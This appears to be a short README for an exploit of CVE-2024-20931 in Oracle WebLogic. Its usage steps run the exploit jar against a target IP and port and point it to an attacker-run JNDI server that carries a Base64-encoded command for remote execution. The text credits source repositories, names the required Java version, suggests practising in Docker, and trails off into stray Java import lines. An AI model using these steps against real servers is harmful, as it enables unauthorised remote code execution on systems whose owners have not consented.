Usage: Setup JNDI, the specific one

Exploit:

java -jar CVE-2024-20931.jar
Please input target IP:127.0.0.1
Please input target port:7001
Please input RMI Address(ip:port/exp):JNDISERVER:1389/Basic/Command/Base64/BASE64COMMAND

Notes:

This is reworked from https://github.com/Leocodefocus (thank you), also at https://github.com/ATonysan/CVE-2024-20931_weblogic/tree/main, all come from the https://github.com/GlassyAmadeus/CVE-2024-20931
Java version "1.8.0_151", is required for JNDIExploit as well as for the current CVE.

Practice using a docker environment Limited commands are supported, e.g. try with curl (no ping/nslookup on the image).

import java.lang.reflect.Field;
import java.util.Hashtable;
